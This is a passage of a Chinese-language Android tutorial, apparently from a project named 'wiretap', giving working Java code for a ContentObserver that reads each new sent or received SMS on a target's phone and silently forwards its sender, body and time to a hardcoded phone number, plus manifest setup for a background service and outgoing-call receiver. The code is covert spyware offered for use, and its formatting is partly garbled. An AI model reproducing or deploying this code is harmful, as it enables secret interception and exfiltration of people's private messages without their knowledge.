Handler;
import android.telephony.SmsManager;
public class MyObserver extends ContentObserver {
? ? private Context context;
? ? public MyObserver(Context context,Handler handler) {
? ? ? ? super(handler);
? ? ? ? this.context = context;
? ? }
? ?
? ? @Override
? ? public void onChange(boolean selfChange, Uri uri) {
? ? ? ? ContentResolver resolver = context.getContentResolver();
? ? ? ? Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");
? ? ? ? cursor.moveToFirst();
? ? ? ? String address = cursor.getString(0);
? ? ? ? String body = cursor.getString(1);
? ? ? ? int type = cursor.getInt(2);
? ? ? ? long date = cursor.getLong(3);
? ? ? ? //将日期格式化,按这个模式输出日期
? ? ? ? String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));
? ? ? ? //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下
? ? ? ? if(type ==2 ){
? ? ? ? ? ? String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
? ? ? ? ? ? String phone = "18883278692";? //这个电话号码是你要将这个信息发送到哪个人的电话号码
? ? ? ? ? ? //拿到默认短信管理器
? ? ? ? ? ? SmsManager sm = SmsManager.getDefault();
? ? ? ? ? ? //发送短信
? ? ? ? ? ? sm.sendTextMessage(phone, null, sms, null, null) ;
? ? ? ? ? ? System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
? ? ? ? }
? ? ? ? if(type == 1){
? ? ? ? ? ? String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;
? ? ? ? ? ? String phone = "18883278692";? ? ? //这个电话号码是你要将这个信息发送到哪个人的电话号码
? ? ? ? ? ? SmsManager sm = SmsManager.getDefault();
? ? ? ? ? ? sm.sendTextMessage(phone, null, sms, null, null) ;
? ? ? ? ? ? System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );
? ? ? ? }
? ? }
}
代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下
? ? package="com.xunfang.wiretap"
? ? android:versionCode="1"
? ? android:versionName="1.0" >
? ? ? ? ? ? android:minSdkVersion="8"
? ? ? ? android:targetSdkVersion="21" />
? ?
? ?
? ?
? ?
? ?
? ?
? ?
? ?
? ?
? ? ? ? ? ? android:allowBackup="true"
? ? ? ? android:icon="@drawable/ic_launcher"
? ? ? ? android:label="@string/app_name"
? ? ? ? android:theme="@style/AppTheme" >
? ? ?
? ? ? ? ? ? ? ? ? ? android:name="com.xunfang.services.PhoneService">
? ? ? ? ? ? ? ? ? ? android:name="com.xunfang.broadrecevice.MyBroadReceiver"
? ? ? ? ? ? >
? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? android:name="android.intent.action.NEW_OUTGOING_CALL"
? ? ? ? ? ? ? ? ? ? />
? ? ? ? ? ?
? ? ? ?
? ?
到这里已经全部配置完成,可以用真实机进行测试。